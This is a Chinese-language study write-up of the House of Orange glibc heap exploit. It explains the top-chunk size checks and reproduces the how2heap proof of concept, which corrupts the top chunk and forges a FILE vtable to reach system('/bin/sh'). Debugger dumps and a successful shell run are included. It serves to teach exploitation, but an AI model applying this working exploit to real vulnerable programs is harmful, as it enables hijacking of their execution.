House Of Orange 2.23 and below

House Of Orange glibc version 2.23 and below

很巧妙精细的攻击思路,核心和精彩之处是在没有free函数时如何进行heap attack

先看一下偏移把

grxer@grxer /m/h/S/c/p/io_file> ./test
FILE struct size: 0xd8
fp->chain - fp: 0x68
fp->mode - fp: 0xc0
fp->write_ptr - fp: 0x28
fp->write_base - fp: 0x20
fp->vtable_offset - fp: 0x82
fp->read_ptr - fp: 0x8

原理

当前堆的top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk会被释放并被置入unsorted bin中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

_int_malloc中依次检验 fastbin、small bins、unsorted bin、large bins 是否可以满足分配要求,没有的话,接下来操作topchunk,还不满足的话

/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

sysmalloc去向操作系统申请,有 mmap 和 brk 两种分配方式,我们需要的是brk提升堆顶,所以我们分配的 chunk 大小要小于 mmap 分配阈值,默认为 128K

brk时会对top chunk size 检测

  /* Record incoming configuration of top */
#define chunksize_nomask(p) ((p)->mchunk_size)
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
typedef struct malloc_chunk* mchunkptr;
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))

old_top = av->top;//av时main_arean,取top chunk最高处
old_size = chunksize (old_top);//top chunk 大小
old_end = (char *) (chunk_at_offset (old_top, old_size)); //oldtop+oldsize
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/

assert ((old_top == initial_top (av) && old_size == 0) ||//==0是说明第一次malloc时
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

要求我们

  1. 伪造的 size 必须要对齐到内存页(一般4k),因为topchunk+size是最后一个堆块的边界
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1

测试

#include <stdlib.h>
#define fake_size 0xfd1

int main(void)
{
void *ptr;

ptr=malloc(0x20);
ptr=(void *)((long long)ptr+40);//0x20+8=40到topchunk的size

*((long long*)ptr)=fake_size;

malloc(0x1000);

malloc(0x60);
}

malloc(0x20)

image-20230406151240973

0x602030+0x20fd0=0x623000 4k对齐的,为了满足(unsigned long) old_end & (pagesize - 1)) == 0)我们伪造的size要时0xfd1 0x1fd1 0x2fd1等等

*((long long*)ptr)=fake_size;

image-20230406151445090

malloc(0x1000)

image-20230406151803663

malloc(0x60);

image-20230406152257567

image-20230406152317119

how2heap example

md,这个注释写的太好了orz

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
It requires a leak of the heap and the libc
Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

/*
This function is just present to emulate the scenario where
the address of the function system is known.
*/
int winner ( char *ptr);

int main()
{
/*
The House of Orange starts with the assumption that a buffer overflow exists on the heap
using which the Top (also called the Wilderness) chunk can be corrupted.

At the beginning of execution, the entire heap is part of the Top chunk.
The first allocations are usually pieces of the Top chunk that are broken off to service the request.
Thus, with every allocation, the Top chunks keeps getting smaller.
And in a situation where the size of the Top chunk is smaller than the requested value,
there are two possibilities:
1) Extend the Top chunk
2) Mmap a new page

If the size requested is smaller than 0x21000, then the former is followed.
*/

char *p1, *p2;
size_t io_list_all, *top;

fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");

fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

/*
Firstly, lets allocate a chunk on the heap.
*/

p1 = malloc(0x400-16);

/*
The heap is usually allocated with a top chunk of size 0x21000
Since we've allocate a chunk of size 0x400 already,
what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.

The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
it must also be page aligned at the end.

Also, if a chunk that is adjacent to the Top chunk is to be freed,
then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.

So that means that there are two conditions that must always be true.
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.

We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
What's left is 0x20c01

Now, let's satisfy the conditions
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
*/

top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;

/*
Now we request a chunk of size larger than the size of the Top chunk.
Malloc tries to service this request by extending the Top chunk
This forces sysmalloc to be invoked.

In the usual scenario, the heap looks like the following
|------------|------------|------...----|
| chunk | chunk | Top ... |
|------------|------------|------...----|
heap start heap end

And the new area that gets allocated is contiguous to the old heap end.
So the new size of the Top chunk is the sum of the old size and the newly allocated size.

In order to keep track of this change in size, malloc uses a fencepost chunk,
which is basically a temporary chunk.

After the size of the Top chunk has been updated, this chunk gets freed.

In our scenario however, the heap looks like
|------------|------------|------..--|--...--|---------|
| chunk | chunk | Top .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start heap end

In this situation, the new Top will be starting from an address that is adjacent to the heap end.
So the area between the second chunk and the heap end is unused.
And the old Top chunk gets freed.
Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
it gets added to list of unsorted bins.
Now we request a chunk of size larger than the size of the top chunk.
This forces sysmalloc to be invoked.
And ultimately invokes _int_free

Finally the heap looks like this:
|------------|------------|------..--|--...--|---------|
| chunk | chunk | free .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start new heap end



*/

p2 = malloc(0x1000);
/*
Note that the above chunk will be allocated in a different page
that gets mmapped. It will be placed after the old heap's end

Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins


Here starts phase two of the attack. We assume that we have an overflow into the old
top chunk so we could overwrite the chunk's size.
For the second phase we utilize this overflow again to overwrite the fd and bk pointer
of this chunk in the unsorted bin list.
There are two common ways to exploit the current state:
- Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
- Use the unlinking of the chunk for an *where*-controlled write of the
libc's main_arena unsorted-bin-list. (requires at least one allocation)

The former attack is pretty straight forward to exploit, so we will only elaborate
on a variant of the latter, developed by Angelboy in the blog post linked above.

The attack is pretty stunning, as it exploits the abort call itself, which
is triggered when the libc detects any bogus state of the heap.
Whenever abort is triggered, it will flush all the file pointers by calling
_IO_flush_all_lockp. Eventually, walking through the linked list in
_IO_list_all and calling _IO_OVERFLOW on them.

The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
_IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
More about file-pointer exploitation can be found here:
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
currently point to the libc's main_arena.
*/

io_list_all = top[2] + 0x9a8;

/*
We plan to overwrite the fd and bk pointers of the old top,
which has now been added to the unsorted bins.

When malloc tries to satisfy a request by splitting this free chunk
the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
in libc's main_arena.

Note that this overwrite occurs before the sanity check and therefore, will occur in any
case.

Here, we require that chunk->bk->fd to be the value of _IO_list_all.
So, we should set chunk->bk to be _IO_list_all - 16
*/

top[3] = io_list_all - 0x10;

/*
At the end, the system function will be invoked with the pointer to this file pointer.
If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
*/

memcpy( ( char *) top, "/bin/sh\x00", 8);

/*
The function _IO_flush_all_lockp iterates through the file pointer linked-list
in _IO_list_all.
Since we can only overwrite this address with main_arena's unsorted-bin-list,
the idea is to get control over the memory at the corresponding fd-ptr.
The address of the next file pointer is located at base_address+0x68.
This corresponds to smallbin-4, which holds all the smallbins of
sizes between 90 and 98. For further information about the libc's bin organisation
see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

Since we overflow the old top chunk, we also control it's size field.
Here it gets a little bit tricky, currently the old top chunk is in the
unsortedbin list. For each allocation, malloc tries to serve the chunks
in this list first, therefore, iterates over the list.
Furthermore, it will sort all non-fitting chunks into the corresponding bins.
If we set the size to 0x61 (97) (prev_inuse bit has to be set)
and trigger an non fitting smaller allocation, malloc will sort the old chunk into the
smallbin-4. Since this bin is currently empty the old top chunk will be the new head,
therefore, occupying the smallbin[4] location in the main_arena and
eventually representing the fake file pointer's fd-ptr.

In addition to sorting, malloc will also perform certain size checks on them,
so after sorting the old top chunk and following the bogus fd pointer
to _IO_list_all, it will check the corresponding size field, detect
that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ"
and finally triggering the abort call that gets our chain rolling.
Here is the corresponding code in the libc:
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
*/

top[1] = 0x61;

/*
Now comes the part where we satisfy the constraints on the fake file pointer
required by the function _IO_flush_all_lockp and tested here:
https://code.woboq.org/userspace/glibc/libio/genops.c.html#813

We want to satisfy the first condition:
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
*/

FILE *fp = (FILE *) top;


/*
1. Set mode to 0: fp->_mode <= 0
*/

fp->_mode = 0; // top+0xc0


/*
2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
*/

fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28


/*
4) Finally set the jump table to controlled memory and place system there.
The jump table pointer is right after the FILE struct:
base_address+sizeof(FILE) = jump_table

4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner
*/

size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8


/* Finally, trigger the whole chain by calling malloc */
malloc(10);

/*
The libc's error message will be printed to the screen
But you'll get a shell anyways.
*/

return 0;
}

int winner(char *ptr)
{
system(ptr);
syscall(SYS_exit, 0);
return 0;
}

一般第一次brk的堆块大小都是0x21000,

首先模拟了任意大小的堆溢出,前面一直到p2 = malloc(0x1000);和我们上面分析的一样在制造unsorted bin

image-20230407001924067

这0x1000的chunk被分配到新brk的topchunk上

image-20230407002211084

io_list_all = top[2] + 0x9a8;根据unsortedbin的固定偏移定位到_io_list_all=0x7ffff7dd2520

image-20230407002519360

top[3] = io_list_all - 0x10; memcpy( ( char *) top, "/bin/sh\x00", 8); top[1] = 0x61;

image-20230407002923144

其余直接从malloc(0x10)往后推吧

把0x602400拿走时会chunk->bk->fd=unsortedbin,我们会往io_list_all写入unsortedbin

0x61是个重点

  • malloc(0x10)时会先把这个0x61大小的chunk放入0x60大小的smallbin里即main_arena+0xc0,然后切割他的bk所指的chunk

    image-20230407012803059

  • 这个时候io_list_all里是main_arena+88,我们把它当作IO_FILE_plus结构体,他的_chain指针在main_arena+88+0x68=main_arena+0xc0处,我们的第一个0x60smallbin里存的地址

    image-20230407012846958

  • 也就是说io_list_all链表的下一个链表是0x602400,他的周围都是是我们的可控范围

    image-20230407012952664

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8

    我们选择一块可控内存伪造vtable,并覆盖写入他的_overflow指针

  • 切割bk时由于bk不符合要求

    bck = unsorted_chunks (av);
    fwd = bck->fd;
    if (__glibc_unlikely (fwd->bk != bck))
    {
    errstr = "malloc(): corrupted unsorted chunks 2";
    goto errout;
    }

    会触发malloc_printerr,一直到_overflow

    __libc_malloc => malloc_printerr => __libc_message => abort => fflush=>_IO_flush_all_lockp=>_IO_OVERFLOW

    _IO_flush_all_lockp里需要绕过一些 具体参考FSOP _IO_OVERFLOW会以_IO_FILE_plus为第一个参数所以,我们在前面用memcpy( ( char *) top, “/bin/sh\x00”, 8)把他的开头赋值为system所需的参数

    pwndbg> p *(struct _IO_FILE_plus*)0x602400
    $1 = {
    file = {
    _flags = 1852400175,
    _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
    _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177",
    _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177",
    _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
    _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = 4196319,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x0,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
    },
    vtable = 0x602460
    }
    pwndbg> p *(struct _IO_jump_t*)0x602460
    $2 = {
    __dummy = 0,
    __dummy2 = 0,
    __finish = 0x0,
    __overflow = 0x4007df <winner>,
    __underflow = 0x0,
    __uflow = 0x0,
    __pbackfail = 0x0,
    __xsputn = 0x0,
    __xsgetn = 0x0,
    __seekoff = 0x0,
    __seekpos = 0x0,
    __setbuf = 0x0,
    __sync = 0x0,
    __doallocate = 0x0,
    __read = 0x0,
    __write = 0x602460,
    __seek = 0x0,
    __close = 0x0,
    __stat = 0x0,
    __showmanyc = 0x0,
    __imbue = 0x0
    }

malloc fail 但拿到shell

grxer@grxer /m/h/S/h/glibc_2.23> ./house_of_orange 
The attack vector of this technique was removed by changing the behavior of malloc_printerr, which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
*** Error in `./house_of_orange': malloc(): memory corruption: 0x00007ffff7dd2520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7ffff7a847f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8215e)[0x7ffff7a8f15e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7ffff7a911d4]
./house_of_orange[0x4007d8]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff7a2d840]
./house_of_orange[0x4005d9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:2f 82 /mnt/hgfs/Share/how2heap/glibc_2.23/house_of_orange
00600000-00601000 r--p 00000000 00:2f 82 /mnt/hgfs/Share/how2heap/glibc_2.23/house_of_orange
00601000-00602000 rw-p 00001000 00:2f 82 /mnt/hgfs/Share/how2heap/glibc_2.23/house_of_orange
00602000-00645000 rw-p 00000000 00:00 0 [heap]
7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0
7ffff0021000-7ffff4000000 ---p 00000000 00:00 0
7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 790524 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 790524 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 790524 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 791392 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 791392 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 791392 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 791392 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 791384 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0
7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0
7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 791384 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 791384 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
$ whoami
grxer

成功率

houseoforange成功率只有%50

_IO_flush_all_lockp函数,会根据_IO_list_all和chain字段来去依次遍历链表上的每个结构体,第一个结构体是main_arena+88 main_arena+88+0xc0是_mode字段

这个字段是libc随机的,0到0xffffffff之间的任意值,但是如果大于0x7fffffff的话该值就为负

     if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

正数(fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)一定成立,会遍历他的vtable,由于他的vtable我们没有控制,最终调用函数出差

所以负数才行fp->_IO_write_ptr > fp->_IO_write_base是相等的